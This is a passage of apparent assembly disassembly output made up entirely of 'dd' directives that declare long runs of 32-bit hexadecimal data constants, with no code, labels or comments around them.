		dd 54B6082h, 0B961CF8h,	0F31FC17Bh, 0DC6A9562h,	97E29FE5h
		dd 7EE4F700h, 0EB2907BAh, 811A00C6h, 947D5C7Fh,	5D033A6Fh
		dd 0A64396F7h, 0A1C829DBh, 93705704h, 1F0BFA9Ch, 40295F3Fh
		dd 7C77A37Eh, 92608980h, 0BD0F1528h, 3CB83F88h,	62859900h
		dd 215E1318h, 8780A400h, 2DA4FACh, 89562074h, 0E3119F42h
		dd 89B215Dh, 0AB905076h, 485C7484h, 53E7429Fh, 9498A82Eh
		dd 0F321288Fh, 0F555223Eh, 0A9F41441h, 6E10D712h, 8EF8954h
		dd 2BA84476h, 843FAB44h, 0CC113B42h, 82F21A5h, 37916E30h
		dd 0A8A1DF00h, 1DD99543h, 4ECA3000h, 0D718BF28h, 0DB0312EBh
		dd 6E00BF16h, 0C59CDA7Ah, 0D392002Ah, 154F5B14h, 10009BDBh
		dd 0DCEA9F52h, 7C2A0h, 46F87CABh, 5B9DE6B4h, 0BC266400h
		dd 2C65C536h, 89400E3h,	3B564CA0h, 9F009E69h, 0F58ACD76h
		dd 39DBD07Eh, 0B183ABD8h, 72F90512h, 0E6142D90h, 0ED5C5800h
		dd 4F8A307Dh, 0F175001Ah, 7A5FAE70h, 880010F8h,	2EE4AD1Fh
		dd 73B5BF41h, 0DF010FE3h, 0B3419C4Bh, 2479E9EBh, 0DA004224h
		dd 0B7E410FDh, 0EF5AE5h, 61128F67h, 8124130Ah, 27EC98C7h
		dd 7B2C0650h, 879C3042h, 20A690A0h, 0A1007574h,	0DA7E7C46h
		dd 0B034A05Ah, 0DEF38A3h, 59FF5003h, 23A877A8h,	0CB00EA48h
		dd 11167CC0h, 13A91B1Eh, 402836ABh, 5B82B278h, 97076214h
		dd 0BD5CF24Dh, 6B875EF4h, 0FF2E4A90h, 0C80B0033h, 53EDAC83h
		dd 1707B141h, 31F4B429h, 4FC5C640h, 61E20056h, 5B78B28Dh
		dd 0AD00D57Fh, 5CF94685h, 0BF3CD3h, 0DB54DDD2h,	8C4F9296h
		dd 0F7320600h, 5DFF7443h, 0DDAC0526h, 654231h, 0D80ABE80h
		dd 963AA61Dh, 51598017h, 4C065C41h, 404658Ah, 72C400BDh
		dd 0D59BE546h, 4B935000h, 0E13BF244h, 0E81D0001h, 826902F5h
		dd 7700101Fh, 0D2445E54h, 1DAEF65Fh, 1C1317Eh, 2FC01988h
		dd 80D040DCh, 7701E2DDh, 0B2BEBC8Ch, 46DC0A4Eh,	2343090Ch
		dd 1800C936h, 1D6F10C4h, 80EE2238h, 2CAF9E01h, 0F869A9EBh
		dd 821701ABh, 86B31BB1h, 24C243Bh, 9DE46300h, 59461354h
		dd 4D609D97h, 8CFC3E14h, 5FCFB0A8h, 0C0B99A00h,	0C485BDD4h
		dd 0B680A01Ah, 9EF40Ch,	5C62E139h, 831EC761h, 0CE09F8B8h
		dd 0E36C9Fh, 0E2758C54h, 9233488Ah, 0EE19DC07h,	0FD12103Eh
		dd 4C7049EAh, 0D752E501h
		dd 0A80236F1h, 7490B944h, 242CB470h, 6C518Dh, 7E083BD8h
		dd 0B0013A87h, 0DBC09B8h, 87DF18CDh, 4780D3F4h,	0A37365h
		dd 99A8617Bh, 38A7EA49h, 2D5F8503h, 0F0DA1251h,	0D2ED70h
		dd 59810CB3h, 28A22996h, 0A00E975h, 0FA4524E7h,	8F6893h
		dd 7091E38Bh, 357934F3h, 744D9D00h, 53BD0C60h, 6A010055h
		dd 0D68DAD2h, 5400AF30h, 0E62A540h, 0DD45C7h, 51B7692Eh
		dd 0AA3B583Eh, 0DA0027B8h, 7744CBADh, 1E604612h, 5786DCBAh
		dd 0E08000ECh, 0A007A937h, 0D067741Eh, 26EB1540h, 0F2A755BBh
		dd 689F0032h, 28DF8FA6h, 7E9044F8h, 0EBD01E00h,	0C105C42h
		dd 0C9323F17h, 8D709D00h, 35E8F736h, 93F97E00h,	0C04579D8h
		dd 0DAA700E6h, 0CD312C83h, 0D700AE43h, 359FB7B6h, 0F6B2F8Bh
		dd 39929DBBh, 0DC641440h, 4F006C0Ch, 0B26EFA4Ch, 90509712h
		dd 92C701B4h, 0F8162FAEh, 5237CCE7h, 0B5B9CC00h, 9721862Bh
		dd 18322440h, 146F00A4h, 0B0EFAD75h, 2B6CFF0Eh,	0C0FD43CAh
		dd 89E8C878h, 6EFC77CDh, 0C700A0D1h, 2C6E9606h,	40F7B107h
		dd 9A50DAFAh, 0BF647Eh,	4FE08DCBh, 2CB80889h, 0D0B64100h
		dd 0B5679E5h, 140900Eh,	0ABD19E10h, 7FDC8B2Ah, 3967F0h
		dd 4D513A37h, 0E2C20D60h, 6F7ED100h, 0BBC3A070h, 8C930767h
		dd 105FFE17h, 0EA0768D5h, 0EC133309h, 4AA0827Eh, 40612402h
		dd 37D75926h, 0B98402B4h, 0E4D55B2Dh, 3F9F2440h, 0A44AFC3Bh
		dd 0B0B64D9h, 717C008Fh, 7F3480B6h, 4EE90F96h, 0B9A0748Eh
		dd 920AC9F2h, 95734512h, 0E290840Eh, 0EFE2DCFh,	0C2699B23h
		dd 0C900787Bh, 0DE66F908h, 765E7DB1h, 0BD6001Eh, 437F7EEBh
		dd 0D5076769h, 0FF05175Bh, 8E6E3491h, 48D04880h, 0CBA544DFh
		dd 0A29370C2h, 648D0397h, 0E02AE3A3h, 0B60034D9h, 2DB1DC6Fh
		dd 0E82A3036h, 0FC370078h, 4257DED7h, 0A50107ABh, 7D58686Dh
		dd 22FCFFF3h, 0CE12000Ah, 0C78C74Ah, 2F122EC3h,	0B5A09DE2h
		dd 34AD4C5Fh, 9DE9928h,	5ED1DB5Dh, 60083E00h, 94396CE8h
		dd 0CC360411h, 65C01E82h, 78DFC17Eh, 15192C85h,	18A0048h
		dd 0C8172E2h, 1262AC03h, 71B58CB0h, 0CA73D0h, 0F726AD3Dh
		dd 2EE1F8FDh, 0E3A533Fh, 606D6061h, 868F3CA0h, 0D0EE13h
		dd 4D2F4F3Dh, 8D4A79C7h, 9DB98800h, 91174690h, 977600A1h
		dd 3137A058h, 0BFB00CE5h, 344A0900h, 0E78D1956h, 0DD390904h
		dd 6400C5B7h, 99F3A2F6h, 2E9D7E00h, 5248ADD6h, 420900A6h
		dd 0ED736ACCh, 0EC13FE19h, 4C00F353h, 6CF0B45Ch, 98F3B077h
		dd 0BFEF07A1h, 534F4060h, 2BE3AA79h, 30270CA1h,	0C1005440h
		dd 35F21507h, 5277B2h, 411CBE9Eh, 7AA2706Eh, 0C7E97B1Dh
		dd 0B84A04CAh, 43EE2600h, 7E2D6F30h, 84280CA9h,	0DFB6C656h
		dd 3CD15F00h, 193BE09Ch, 7D740E63h, 0B9005598h,	0BB468BFAh
		dd 0C9BC4400h, 57C35DA6h, 0BFA70029h, 96431F72h, 6D0F787Ch
		dd 0A02FBB21h, 32795E17h, 0E87E002Ah, 4AA7DCBFh, 6301C708h
		dd 0BE5CC96Bh, 36EC4473h, 9098B5h, 0D927353Bh, 8C6AF377h
		dd 9D98B600h, 0E7714457h, 367118h, 6541D91Ch, 0D7887EA5h
		dd 0F600F27Bh, 37F72FFEh, 1B96EBFh, 85797849h, 7E4C42Eh
		dd 0A0809D07h, 0BABCF2h, 7B35B4B3h, 581780B8h, 8793F002h
		dd 63D7E657h, 960A80A3h, 19641E59h, 0EAD54084h,	0A3D9CAD4h
		dd 73700E00h, 21DFB27Eh, 85321DCFh, 8C240BD1h, 0A50DA700h
		dd 340BEA43h, 80D87646h, 18908BACh, 59DC3950h, 88A42680h
		dd 0BDC6C3ACh, 0CB0078FEh, 116B52E7h, 2EA7E5h, 58926479h
		dd 0DCC1F3D4h, 0CCF50928h, 0EB414A07h, 6E80C66Dh, 0F3EDF9h
		dd 0B62CD3CEh, 0C19E911Ch, 0F4719A07h, 0D009B3Bh, 38CD6Ah
		dd 4663F87Bh, 758B3C0Ah, 0B1002279h, 0A5E75D68h, 0F43813h
		dd 80655137h, 269A58D5h, 2B4CFA00h, 1F85196Ah, 337FE05h
		dd 0F97FF8D0h, 98F817ADh, 1E00CEAAh, 21B08356h,	0C5B5A3h
		dd 5338D378h, 7423EF3Dh, 48FA500h, 0F8A2D203h, 65800EB4h
		dd 0FFA0D5E6h, 22936AECh, 45643B00h, 1139E9D1h,	0B1740E24h
		dd 803DAC61h, 475E5C1Dh, 0E009C5Ah, 3E7CC0B4h, 8D8934h
		dd 484ED92Bh, 8711E77Fh, 0D82FBE00h, 8E6AF0CEh,	0A43F0008h
		dd 39054957h, 7E01F8CFh, 0BF3B899Bh, 0FFDD46C0h, 0B807C0h
		dd 0AF14593Dh, 0FA767536h, 0E7B63000h, 0C5BC0B1Ch, 6A1D00F4h
		dd 0A74C5EBDh, 0CA00FDD5h, 36482B3Ah, 0F2E8089Eh, 0D07105C2h
		dd 0B013A1h, 0A770699Ch, 0E7004297h, 0F1546130h, 0E0BC02h
		dd 5D3241B6h, 9E7DFDC6h, 88363C00h, 7231B789h, 8D8A013Dh
		dd 91523E82h, 5B22E067h, 0CEF5881Ch, 64B30CBBh,	0F630496Fh
		dd 13510040h, 0DDDAB902h, 0B400D4B2h, 87D15E65h, 563326h
		dd 0D9B6EC2Ch, 0FFDB1EA6h, 20914203h, 0A885D8E2h, 0F1037Eh
		dd 21A317A7h, 0D1FA5922h, 83DE8200h, 0AFE94B0Ch, 69ECEF19h
		dd 39140057h, 21A42E6Bh, 3503BB62h, 678D8222h, 6F429036h
		dd 0BEAF0063h, 0FF71BD72h, 3A00E2E0h, 0F13D2F02h, 0DB607Fh
		dd 7D948446h, 0BDC7C115h, 1D07D600h, 5F4A96E2h,	805B1D34h
		dd 998100C0h, 71B9F650h, 0A180200h, 303A1727h, 0AA080047h
		dd 98A9A77Bh, 8300F10Eh, 71ACC192h, 12F0DFECh, 952ECCh
		dd 5CD18124h, 9700C380h, 0B11B199h, 2DD973h, 4EFA071Bh
		dd 0CFC6FF04h, 2074A90h, 12F60E54h, 4700F88Ah, 0CA5B307Ah
		dd 0D06F0006h, 0E6F18F51h, 4D001491h, 0BB2EF4DEh, 0E8BCD3h
		dd 0F7D217ACh, 28B8E4A4h, 7D739B05h, 900481B3h,	0E6C0D8E6h
		dd 0E94812h, 6F016CC2h,	0AFCA9230h, 81D27F17h, 160A8F00h
		dd 0CC04D4h, 72771145h,	0B28D5A06h, 0CF97C601h,	70D58C87h
		dd 0A098F2FCh, 1FC36990h, 1A3C92h, 0BC97B8EFh, 1500C4E2h
		dd 37BE76C9h, 2BBE07Bh,	4E6722AEh, 0C1009683h, 7DF805h
		dd 0BF74B9ADh, 0D1EBE573h, 3EB48C00h, 0D645190h, 0E48612AAh
		dd 137000BDh, 0A03F9630h, 80FC6A39h, 0B6FA75BBh, 2F81F4h
		dd 0FDEFC8D4h, 130EE190h, 623A8C12h, 0B24FD440h, 83542Ah
		dd 0C2E0DDE3h, 4D5AB22h, 146A7900h, 5523A143h, 7BCE419h
		dd 7586E225h, 0E03FA762h, 27D63AAh, 4AA1E400h, 675A18C8h
		dd 142A8079h, 899CB300h, 1AA79799h, 40170076h, 0A1746C0Dh
		dd 0F149E3CDh, 68B70F98h, 6D1C60DFh, 82662Bh, 5E3AAD3h
		dd 235CB5E6h, 98E83400h, 124B84D0h, 0CC81D04h, 0C164801Dh
		dd 49A54DADh, 52070C90h, 0EEC7FAF2h, 1F562150h,	2A757EF4h
		dd 5F8E004h, 0C28FCF3Dh, 0DF80093Eh, 5D446001h,	55103417h
		dd 1845C00h, 4E574B48h,	439E0F62h, 5D20F4F6h, 0A1682308h
		dd 0FF4FA507h, 0A220C9C8h, 0B357Eh, 0D8AF783Eh,	365AA13Dh
		dd 9F710400h, 4E179586h, 6A660173h, 2AC28ABAh, 0D73460E4h
		dd 867D404h, 0ADC08186h, 1653BC3h, 69137BF5h, 40930F04h
		dd 2015D090h, 3A991700h, 7CD8D386h, 3F3101E1h, 79612DCFh
		dd 1948F860h, 37877D14h, 343907F5h, 0BD873570h,	6A001E1Eh
		dd 2B86D959h, 84A701F3h, 0F504CE4Ah, 22AB6075h,	777B7098h
		dd 4B5C3203h, 0D3EB258Bh, 0CCE19FCBh, 0BC307201h, 5D6B1C45h
		dd 0DCC48031h, 1A7DBF8Ah, 4AF7CB00h, 9340BA2h, 62490E9Ch
		dd 6F6410C0h, 12088080h, 0DC98BB4Ch, 17BD6C39h,	3000824h
		dd 663601ACh, 0A4C00035h, 25B8537Fh, 6CF85FB7h,	0E3C9DAA0h
		dd 37E05B00h, 0CDF0A74Dh, 61980F1Ah, 180350C6h,	0E4D0D019h
		dd 850143DBh, 0A0C781E5h
		dd 2080CA79h, 2F222B7Bh, 0E4007A30h, 0A234F032h, 0FDB9A0h
		dd 0B46FEF61h, 9982022h, 3154D403h, 0E8879CD8h,	7DD5799h
		dd 1F1759AFh, 80A02F7Ah, 90474578h, 2E7C3B00h, 994DD4C2h
		dd 0F3DA009Dh, 6C986B91h, 0AE00C68Eh, 66AC56CBh, 0FC52C1Ch
		dd 0A0570503h, 8AE7814Fh, 0C680C9B7h, 31AFA47Fh, 0ECF92D00h
		dd 36F4A002h, 68443A8Ch, 0F6FD4E07h, 0D16D7093h, 5F7E9C10h
		dd 0E1728100h, 2E409187h, 15DEB8F9h, 903A470Ah,	3198290Eh
		dd 94920091h, 142FD88Bh, 5268C0FCh, 99336AB0h, 28F10B30h
		dd 86C846h, 59CAFA23h, 0F62B6CBh, 9CC4000h, 53D71064h
		dd 0CDE00D6h, 0FE4814E3h, 1EB01A3Bh, 0EE00C975h, 0B471E9ECh
		dd 0FCF96F8Dh, 0E1E064Eh, 60ED66A7h, 991C731Dh,	5C22837Ch
		dd 0A83AE692h, 0A0184Bh, 61670DD9h, 0F885CCA2h,	7E53960Fh
		dd 3F13806Bh, 0D01C02h,	925FC3FFh, 9F4289BDh, 89DA600h
		dd 0EF60A84Ch, 2DF4DEh,	0C5F8FD48h, 25D26ACFh, 4F71F71Eh
		dd 0EBA7A9C0h, 0D1588Dh, 8521F3CDh, 6DB8AE3Bh, 0E5F10800h
		dd 2B54821Ah, 0B9A83952h, 385F200h, 0F7D0E375h,	0A79C4E00h
		dd 98D95653h, 1E621F48h, 594640AAh, 0E17027B9h,	790CA90Eh
		dd 99D7A0F6h, 0E0DD6B2Dh, 5898C092h, 4397A98Eh,	853D4513h
		dd 86798700h, 5A04F9h, 0AAC2CB88h, 9ECA3E7Dh, 0BB67B100h
		dd 3D5EFE51h, 8BD60034h, 557F78Ch, 4D00C13Eh, 0C3F070EAh
		dd 18CA9E7Ch, 7165A7ADh, 1E00E342h, 0F76201DAh,	58EB1Bh
		dd 15A95DB5h, 0A4469A5Eh, 11DD3624h, 2B5CC000h,	179680CCh
		dd 4789E6h, 1A064993h, 0C4000B68h, 0E87963A8h, 50AC28h
		dd 0D27437FDh, 6C0C58A6h, 0BB8DC9C0h, 79072BCCh, 48620318h
		dd 55AFC428h, 0F0C315F0h, 816F9500h, 0F2B6E7AEh, 97967279h
		dd 0BF11DA00h, 4B3E86A2h, 0BB94009Eh, 0FA702C9Ah, 50CE0FB7h
		dd 67203214h, 0DEAFD510h, 21E65300h, 601F341Ah,	5ADA018Fh
		dd 166A22BEh, 3EA9EC2Bh, 0BDE6303h, 882C3B09h, 0F7F976h
		dd 0DBDCF86Ah, 2C3299Dh, 0B81E0F76h, 40027D1h, 0B3B69EBEh
		dd 0AF7496h, 0D211E02Dh, 0D71637ADh, 9122EA00h,	0B087601h
		dd 0DFD10268h, 27CA635Eh, 8C0FB62h, 0B100975Fh,	7F750DA4h
		dd 7C3E70h, 413F644Fh, 0FF6126C2h, 0F9E4D000h, 0E1A48FBCh
		dd 3C50047Eh, 80D4568Ch, 2487F891h, 262C4Ch, 0F946DE4h
		dd 794AAA4Eh, 6E9028E0h, 1B5900ACh, 1F80C172h, 0A500E48Fh
		dd 0D2FE41BEh, 286E4Dh,	0EBBCE398h, 0BF91686Bh,	0D0893000h
		dd 0D31B3A07h, 0E5D00E9h, 0B7A650F4h, 4D3FE360h, 0F0C728A4h
		dd 0BD4BDC3Bh, 396B1F58h, 1951160Eh, 13F8ECD0h,	0CAB9000Fh
		dd 3FEDCB6Fh, 7401631Dh, 96C8C501h, 0C4405BD8h,	6238B4h
		dd 57A8CD94h, 5DE46CFCh, 730D0F00h, 0D33A0602h,	7C7A00AFh
		dd 1E2609B7h, 7D2444E8h, 0F00BC80h, 60B187AEh, 0DF960134h
		dd 518A0125h, 88ACC429h, 0C4FA9700h, 0F2838C41h, 0CB8726BBh
		dd 37810014h, 30D7AA95h, 0DE8A8819h, 944C63B8h,	0AFBF2DBEh
		dd 414D9580h, 0E200CC5Ch, 24602263h, 0F8A21B92h, 0F97A9Ah
		dd 333951ECh, 0A8CCC059h, 0F1DBDD00h, 52E59FCFh, 4EF83A8Fh
		dd 0C3408380h, 0B2166BF9h, 1C99B800h, 0C3DED19h, 4DEEA90h
		dd 4D7D95BBh, 0D88BC09Fh, 1FEA1351h, 0D4842F50h, 779A4701h
		dd 63C153B8h, 0BD728040h, 89DC0075h, 0F734EB02h, 0AF00D15Eh
		dd 1569A7ABh, 39A24EBBh, 38FD88A4h, 9B800DECh, 0F53A61FBh
		dd 0E5FA489Eh, 7FD27C00h, 77C5E202h, 655700EAh,	288A72F7h
		dd 0BE3A2F48h, 0E5FC809Dh, 225D8EC1h, 44A405D2h, 20AC4A0h
		dd 1C9E90F8h, 0E0C79880h, 1794522h, 18033002h, 80C4EF5Ch
		dd 2C1DB0ACh, 453404B6h, 80E7598Dh, 0C5AD3785h,	6FF40F00h
		dd 0C0AA4AAEh, 907077EEh, 0B9390660h, 6187C592h, 0ACD9C401h
		dd 24D16C6Dh, 10EC20h, 936296F3h, 0A883BC9Bh, 77FD4600h
		dd 0D176D27Ah, 3C51F865h, 74800208h, 600FB08Fh,	0F826D71Dh
		dd 6201F413h, 0D6DB9E8Eh, 7A1F1020h, 0C66A0499h, 0C014C8A8h
		dd 0D0687F48h, 2C121E24h, 0A047800Fh, 38C2694Fh, 2EA24A4h
		dd 0D4AD807Ch, 0FED15F5h, 88B5DA1Dh, 6A3C67C0h,	487D40E3h
		dd 0A00747Fh, 0A050CFEFh, 0BC0471AEh, 5C1BD988h, 60808885h
		dd 0B42313h, 571DD6FDh,	0CFC3CBF4h, 0AB06E7EAh,	0DC11965Ah
		dd 0CAC600B8h, 0DD86BE60h, 5928509Ch, 9A0FF8C2h, 0A124B03Eh
		dd 7DE77714h, 0FF7E60D6h, 0E1F7A07Fh, 74733B9Fh, 1E16DD80h
		dd 955AED81h, 0F7B07803h, 0E86F025Dh, 2DC119h, 0F082D71Ah
		dd 6E9F32F8h, 20D14F00h, 95CFA36h, 1E3A01F6h, 1274ADC9h
		dd 82BC4193h, 4450606Ch, 0B3CADE28h, 9AE21832h,	0F2F44885h
		dd 0A11C4898h, 56353800h, 0F4A6B3C5h, 3CFD871Dh, 0FF292A98h
		dd 97B50385h, 6F113104h, 285DC690h, 0FDDDEC00h,	9F51ACCBh
		dd 2FB12FDBh, 0DC005778h, 0BDEB0C23h, 0B22C5493h, 0ABFD0038h
		dd 0B13CD369h, 9501EC94h, 7C38AE51h, 40642FBCh,	0E4683FEDh
		dd 36712000h, 7B147046h, 0F308C900h, 269AA59h, 0CFB0009h
		dd 8E41C096h, 3D009591h, 0F10EC27Ah, 3A5DF3h, 69DE2277h
		dd 79198F90h, 0A1B1E500h, 0B0A53154h, 0AC3A00FCh, 70619E71h
		dd 0DA07FEF4h, 0F02BF7EDh, 0A0169813h, 61C36BFFh, 3C536912h
		dd 612BD934h, 7CF4E4D0h, 0BA2FDF09h, 20758056h,	0BED008h
		dd 978B33A0h, 0D3C1082h, 0E7621807h, 9B405E6Eh,	0FC307E4h
		dd 77C93F65h, 2C33D161h, 0CDD4E83Dh, 70046848h,	49096700h
		dd 17959F0Ch, 296200FBh, 0C089BAF2h, 65001E4Ah,	4CFF2DD5h
		dd 0B75E0AB8h, 0E67A79E0h, 5DD84400h, 0BAB524C6h, 933604A6h
		dd 0D00B849Ch, 0D754EB90h, 491A9101h, 0DAAAF461h, 5A9824h
		dd 0B1EA70D1h, 6707192Ch, 68184561h, 0CE05174h,	7C11DD7Eh
		dd 1B5FB807h, 0EB6020F2h, 6C1DC125h, 0E6C0B465h, 59F8BFBBh
		dd 7A1D0049h, 36B78ACAh, 1A01C35Bh, 0F465D050h,	7981DD93h
		dd 0C0512C68h, 5171D1DAh, 0F01C1D80h, 0E80327CFh, 672DF2C8h
		dd 6BEEF058h, 0ECBD2879h, 70CD30DCh, 0DABEF631h, 4B598903h
		dd 0A769F551h, 0C093F350h, 680C601Ch, 6BB38DDDh, 51036679h
		dd 4F3EC8E3h, 2FCCE076h, 1FB80022h, 0B4B58CD0h,	35005921h
		dd 0DC855F70h, 42B00Dh,	30A5B7C0h, 9D90588Bh, 0FBE46D00h
		dd 91AB83F8h, 8EE626C3h, 0D49900F9h, 74971B0Eh,	0DD800400h
		dd 7CE7EABAh, 789EC59h,	0C60DB6A8h, 0DABB2052h,	92001496h
		dd 7ACDA3CBh, 0DF7603h,	649D6755h, 1A9B4169h, 390045F8h
		dd 487159FDh, 637277h, 0C4267558h, 29CDE799h, 4C08D0Fh
		dd 2F1D0009h, 29EB94F7h, 21B44018h, 46D05504h, 6E40003Eh
		dd 2069120Bh, 43000813h, 7C4A556Ch, 751525Dh, 0C09B07Dh
		dd 53108340h, 54A05AC3h, 61D6E48h, 98441FBh, 9C0695Fh
		dd 3E637D0Eh, 530F0F05h, 9DE016h, 0BCDD110Ah, 4407FC0Dh
		dd 403421BAh, 3E7F0BC0h, 1D033C61h, 0D14B600h, 31015D49h
		dd 701F3C70h, 8C46752Eh, 0B89216h, 8F3E4307h, 14BCC86Ch
		dd 6B00DDFEh, 6C7220Ah,	6240288Ch, 20F92802h, 0C8F302Fh
		dd 83C2151h, 14902B05h,	485DFD84h, 2DD64220h, 5B217824h
		dd 1074125Eh, 0C891351h, 48447C08h, 12EE8478h, 0ED08D089h
		dd 3EC54645h, 1215F011h, 53AA10E4h, 6908B089h, 12C62F45h
		dd 2921D943h, 1C570884h, 88159C88h, 0C2BD3CCEh,	22165111h
		dd 0DBBA01A0h, 3AC23D0Ah
		dd 28F480B8h, 0D86123A5h, 7A9F41Dh, 0D8AB643h, 836EF0C1h
		dd 651C33A2h, 7943ED71h, 0B88939ADh, 479DD6h, 7E530C78h
		dd 9FF3BCEEh, 0E400557Ah, 774332EBh, 454D92h, 5EACEA7Dh
		dd 0C0766B20h, 6A93141Eh, 0D2EFCF00h, 0EE138A3h, 0A818FD69h
		dd 0C8900620h, 0AD00F86Ch, 38F62CE4h, 30D61C1h,	0E0131E19h
		dd 89881B8Fh, 0D70083BBh, 0F63720D2h, 0B850438Ah, 8E7F3Fh
		dd 68B4C017h, 4E7FC1B7h, 9849FA24h, 129CD280h, 0A015C4h
		dd 20E8E51Fh, 75439263h, 0FE0052F2h, 5E4D886Dh,	5C40BBh
		dd 2CB77CBAh, 901B8C09h, 0FF754B76h, 4E07D27Ch,	0A0DB9ED1h
		dd 62005D6h, 0CEC7EE80h, 850058F3h, 877EF90Ch, 7357774Dh
		dd 56A212B7h, 5E04A61h,	0E2F0088h, 62886FC8h, 6A8EA40Fh
		dd 0DD284084h, 0F40A4CB0h, 0CF90FA3h, 0B140850Bh, 3BA50460h
		dd 23037900h, 44DE99BEh, 8DFC00A7h, 68ABBC72h, 0EA7D4263h
		dd 0F8017500h, 0DCA8866Dh, 3B5C00D9h, 405738D7h, 0C0E0FEEFh
		dd 4E6CFF00h, 0AFE97E44h, 0FA900003h, 0DD05ECEAh, 0D940D055h
		dd 1FD8B0B4h, 0C032CC30h, 0AF31AD33h, 0F003958h, 776D20A0h
		dd 709D95Fh, 1E53A32Ah,	29FBB0E0h, 0DF07F57Eh, 7D267A01h
		dd 449AF0F0h, 0C85D50AFh, 6223007Bh, 10836A35h,	70009C43h
		dd 2009DBFDh, 513395h, 0C5410E8Bh, 9386D478h, 0A07B4B00h
		dd 1115B4C9h, 0D1010025h, 0EF4AAE89h, 92434B0h,	0AB00486Bh
		dd 0B358BBB7h, 50F6011Dh, 8CF8173Ah, 0B1DAC8D3h, 77791307h
		dd 0DB40856Dh, 944048h,	0BD4CD16Fh, 91BE677Dh, 0CF034679h
		dd 70A2D61Ch, 4FEAF032h, 382101D9h, 0D0839404h,	9F6270FBh
		dd 8592E550h, 5032092h,	431FDF3Ch, 65100072h, 90A721DCh
		dd 8609FF3Eh, 0E8ECB3h,	37020E39h, 0B9C80141h, 0F7C7DAD5h
		dd 713024E3h, 2800C94Bh, 0A9BF02A5h, 1CF8F286h,	0CFB5358Bh
		dd 0E4BFBA0Bh, 81491F0Ch, 138A5437h, 0F066C9FAh, 2700FF87h
		dd 2A070657h, 1F566Bh, 0C6143F5h, 40F6185Bh, 0A18EAC00h
		dd 567FB871h, 74050937h, 0B401C39Dh, 0C0416511h, 0C2007609h
		dd 0E87228AFh, 3B5D902h, 307B610Fh, 16D1E01Dh, 568BF48Dh
		dd 0D800C473h, 0C813C322h, 0CE0A51h, 0CF5386E0h, 0BE5720A6h
		dd 0C9A9E909h, 5D84005Ah, 342D11Ah, 516F8814h, 24E969C6h
		dd 9FB32073h, 71920B1Fh, 444BD40h, 452CB13h, 80B14DEAh
		dd 0FCF3C059h, 0CA002E05h, 0A81A1047h, 0D1DC12h, 0E01FB420h
		dd 8CA3A9FDh, 0FA63DB00h, 0E3BF9F73h, 4D0097F1h, 0B0A4E8D3h
		dd 1E02C80Ah, 0FC00A02Bh, 45D6B1B5h, 43903BFEh,	2E673180h
		dd 29BD5909h, 0DC9177FAh, 4B8E6D00h, 7B684F3h, 6BFB7388h
		dd 34C920D2h, 55007ADAh, 66379F85h, 6C5786h, 0F99CCEA2h
		dd 14B3FE82h, 0FBB41E00h, 0D4D93AE0h, 1F600C8h,	85BFC9D6h
		dd 0C23E0402h, 5A10E0C0h, 0F08EA626h, 1DF900C4h, 1E07A53h
		dd 0A5001075h, 4FB4BF60h, 1D904C88h, 0C0D3CB79h, 95DDE438h
		dd 2000EB8Fh, 0F4422D15h, 3EC9B546h, 9800496Fh,	570448F6h
		dd 65072CB1h, 5C0B012Bh, 5A0DBFC0h, 783F0020h, 0FE079268h
		dd 0AC00727Eh, 1434B1DBh, 72647D5h, 1397433Ah, 0ADB460EEh
		dd 0A2004CD7h, 4F25F17Ah, 394B84ABh, 8A00C329h,	0BEF6D970h
		dd 0BB00FAF7h, 96CDA847h, 1534B48h, 13678D42h, 0D4BFA3F3h
		dd 0DC007A86h, 98EF1C43h, 0AAE54Dh, 35B8423Eh, 0BEADF112h
		dd 9D83C000h, 39047EFDh, 716F5892h, 58D23800h, 5BCD2FD1h
		dd 8CFABC13h, 3EAEB800h, 392D3h, 0F1E14531h, 0B02CB422h
		dd 97EC7F00h, 0DF5F2938h, 69F2F4h, 0CE4AF683h, 7DE3F06Ah
		dd 0FF4CD300h, 4DF78658h, 0E97A00AEh, 1B8A07F9h, 480202DDh
		dd 677045B3h, 0E7306089h, 85C500B7h, 91C33CFAh,	6B26EFF8h
		dd 7D00A0CBh, 0DCE31BE1h, 239A1CB1h, 8EC9802Ah,	9C265149h
		dd 0A6FE3Eh, 43E28285h,	0BFC77Fh, 71BD4144h, 0CF371F2Dh
		dd 36E72504h, 30C06502h, 37BFCABh, 72E1F6EDh, 62E1BFC8h
		dd 0CC13DDC7h, 700034E4h, 6775AD03h, 325A63h, 9535EC2Bh
		dd 34D7BC99h, 1C426600h, 7CEBCF6Bh, 949C00D0h, 970695B1h
		dd 0D80E9E29h, 60CB5C78h, 997C0BC5h, 47E900A5h,	42B5B692h
		dd 55003C4Bh, 0FE01BC5Eh, 7C1CA18Dh, 2E393C89h,	0CB2A0F1Dh
		dd 0C4007730h, 0DE576793h, 7B01474Ch, 0EC002870h, 54629169h
		dd 0DB3A81h, 0D91B1A02h, 7B294ED6h, 272C6C00h, 94D81435h
		dd 0F23BF881h, 170E747Ah, 2725322h, 89BA3538h, 0D1FD048h
		dd 5D0457F8h, 0EA99F86h, 91620490h, 379607EFh, 10E5192Dh
		dd 64304BCEh, 7BE0920Fh, 0E3C3804Ch, 0E6DACC0h,	324EFA87h
		dd 71E8F4A0h, 3300201Fh, 51FB826Ch, 20E57E92h, 0D9030605h
		dd 1EFA4C66h, 6829C8B3h, 0A9D114A3h, 490080BDh,	7C9880ECh
		dd 0A5000D6Eh, 4DD0040Eh, 50D25E3Fh, 0F2E4C8h, 0FFBA292Ch
		dd 45DD862Fh, 0A33C26h,	0E32C9B28h, 0F580C828h,	5D81F22Dh
		dd 43515884h, 58B4B300h, 96B0ACA4h, 57A9E302h, 0C0F74B82h
		dd 0D95F0h, 1776583Ah, 5BD50335h, 85984DF8h, 40A42802h
		dd 0E0F7ED86h, 0F6754E10h, 6C250768h, 10F08FE8h, 96ED3661h
		dd 3454239h, 0EC6DD3C3h, 31C9881Fh, 0AFEE00B8h,	0D965A669h
		dd 0A0027724h, 95F3C84Eh, 0B2D88018h, 388D84DCh, 5B802745h
		dd 82EE9D0Fh, 0EC1C03F7h, 0DE0A4411h, 7200D08Ah, 7C63FA1h
		dd 156800BDh, 60989FB5h, 301FA274h, 52001CAAh, 0FDDCD013h
		dd 7ECA2657h, 0D24400A8h, 6370EF43h, 0CB52FC00h, 75AEA281h
		dd 0D0085078h, 9C9605E9h, 80E6CD2Dh, 830948E8h,	284E6B04h
		dd 0C8806933h, 0A0BBEC8Eh, 1325F2D8h, 327D1B48h, 7C60FE9Ch
		dd 540086F3h, 572AC866h, 24A3598Fh, 3F675B31h, 0B85852A4h
